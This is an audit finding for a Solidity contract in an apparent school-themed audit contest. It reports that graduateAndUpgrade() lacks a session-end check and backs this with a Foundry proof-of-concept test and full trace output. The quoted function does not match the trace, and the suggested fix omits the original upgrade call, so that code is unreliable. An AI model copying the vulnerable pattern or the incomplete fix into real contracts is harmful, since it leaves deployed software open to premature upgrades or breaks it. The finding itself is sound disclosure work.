Summary
The graduateAndUpgrade()
function in LevelOne.sol lacks a critical check to verify that the school session has actually ended (block.timestamp >= sessionEnd), allowing the principal to prematurely graduate students and upgrade the system before the intended 4-week session duration.
Vulnerability Details
In LevelOne.sol, while the sessionEnd
is correctly set during session start:
function startSession(uint256 _cutOffScore) public onlyPrincipal notYetInSession {
sessionEnd = block.timestamp + 4 weeks;
inSession = true;
cutOffScore = _cutOffScore;
emit SchoolInSession(block.timestamp, sessionEnd);
}
The graduateAndUpgrade()
function does not enforce this session end time:
function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal {
if (_levelTwo == address(0)) {
revert HH__ZeroAddress();
}
_authorizeUpgrade(_levelTwo);
}
This violates a key invariant stated in the README:
"System upgrade cannot take place unless school's sessionEnd
has reached"
POC
pragma solidity 0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {DeployLevelOne} from "../script/DeployLevelOne.s.sol";
import {LevelOne} from "../src/LevelOne.sol";
import {LevelTwo} from "../src/LevelTwo.sol";
import {MockUSDC} from "./mocks/MockUSDC.sol";
contract LevelOneAndGraduateTest is Test {
DeployLevelOne deployBot;
LevelOne levelOneProxy;
MockUSDC usdc;
address proxyAddress;
address principal;
address teacher;
address student;
uint256 schoolFees;
function setUp() public {
deployBot = new DeployLevelOne();
proxyAddress = deployBot.deployLevelOne();
levelOneProxy = LevelOne(proxyAddress);
principal = deployBot.principal();
schoolFees = deployBot.getSchoolFees();
usdc = deployBot.getUSDC();
teacher = makeAddr("teacher");
student = makeAddr("student");
usdc.mint(student, schoolFees);
vm.prank(principal);
levelOneProxy.addTeacher(teacher);
}
function testPrematureGraduation() public {
vm.startPrank(student);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
vm.prank(principal);
levelOneProxy.startSession(70);
vm.warp(block.timestamp + 1 weeks);
vm.prank(teacher);
levelOneProxy.giveReview(student, true);
vm.startPrank(principal);
address levelTwoImpl = address(new LevelTwo());
levelOneProxy.graduateAndUpgrade(levelTwoImpl, "");
vm.stopPrank();
assertTrue(
block.timestamp < levelOneProxy.sessionEnd(),
"Graduation occurred before session end"
);
uint256 sessionEndTime = levelOneProxy.sessionEnd();
assertGt(
sessionEndTime,
block.timestamp,
"Session should not have ended yet"
);
assertEq(
sessionEndTime,
block.timestamp + 3 weeks,
"Session end time should be 3 weeks from now"
);
}
}
Test Output
Ran 1 test for test/testPrematureGraduation.t.sol:LevelOneAndGraduateTest
[PASS] testPrematureGraduation() (gas: 813907)
Traces:
[838607] LevelOneAndGraduateTest::testPrematureGraduation()
├─ [0] VM::startPrank(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [159222] ERC1967Proxy::fallback()
│ ├─ [154251] LevelOne::enroll() [delegatecall]
│ │ ├─ [31619] MockUSDC::transferFrom(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [50532] ERC1967Proxy::fallback(70)
│ ├─ [50058] LevelOne::startSession(70) [delegatecall]
│ │ ├─ emit SchoolInSession(startTime: 1, endTime: 2419201 [2.419e6])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::warp(604801 [6.048e5])
│ └─ ← [Return]
├─ [0] VM::prank(teacher: [0x8cA416e1767277ac261c7b8f5e28e6b9aa804488])
│ └─ ← [Return]
├─ [30511] ERC1967Proxy::fallback(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], true)
│ ├─ [30034] LevelOne::giveReview(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], true) [delegatecall]
│ │ ├─ emit ReviewGiven(student: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], review: true, studentScore: 100)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::startPrank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [445078] → new LevelTwo@0x83a4207Df92bA7f9DeD23D61A8802172740D7077
│ └─ ← [Return] 2223 bytes of code
├─ [61112] ERC1967Proxy::fallback(LevelTwo: [0x83a4207Df92bA7f9DeD23D61A8802172740D7077], 0x)
│ ├─ [60629] LevelOne::graduateAndUpgrade(LevelTwo: [0x83a4207Df92bA7f9DeD23D61A8802172740D7077], 0x) [delegatecall]
│ │ ├─ [25750] MockUSDC::transfer(teacher: [0x8cA416e1767277ac261c7b8f5e28e6b9aa804488], 1750000000000000000000 [1.75e21])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: teacher: [0x8cA416e1767277ac261c7b8f5e28e6b9aa804488], value: 1750000000000000000000 [1.75e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [25750] MockUSDC::transfer(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], 250000000000000000000 [2.5e20])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], value: 250000000000000000000 [2.5e20])
│ │ │ └─ ← [Return] true
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [966] ERC1967Proxy::fallback() [staticcall]
│ ├─ [492] LevelOne::sessionEnd() [delegatecall]
│ │ └─ ← [Return] 2419201 [2.419e6]
│ └─ ← [Return] 2419201 [2.419e6]
├─ [0] VM::assertTrue(true, "Graduation occurred before session end") [staticcall]
│ └─ ← [Return]
├─ [966] ERC1967Proxy::fallback() [staticcall]
│ ├─ [492] LevelOne::sessionEnd() [delegatecall]
│ │ └─ ← [Return] 2419201 [2.419e6]
│ └─ ← [Return] 2419201 [2.419e6]
├─ [0] VM::assertGt(2419201 [2.419e6], 604801 [6.048e5], "Session should not have ended yet") [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(2419201 [2.419e6], 2419201 [2.419e6], "Session end time should be 3 weeks from now") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Impact
The principal can graduate students before they complete their full 4-week session
Students may not receive all required weekly reviews (supposed to be 4 reviews)
The educational assessment process can be circumvented
Teachers might not have sufficient time to properly evaluate students
The integrity of the entire educational system is compromised
Tools Used
Recommendations
Add a session end time validation in the graduateAndUpgrade()
function:
function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal {
if (_levelTwo == address(0)) {
revert HH__ZeroAddress();
}
require(block.timestamp >= sessionEnd, "Session not yet complete");
}
Additionally, consider adding a check to verify that all students have received their required number of reviews before graduation.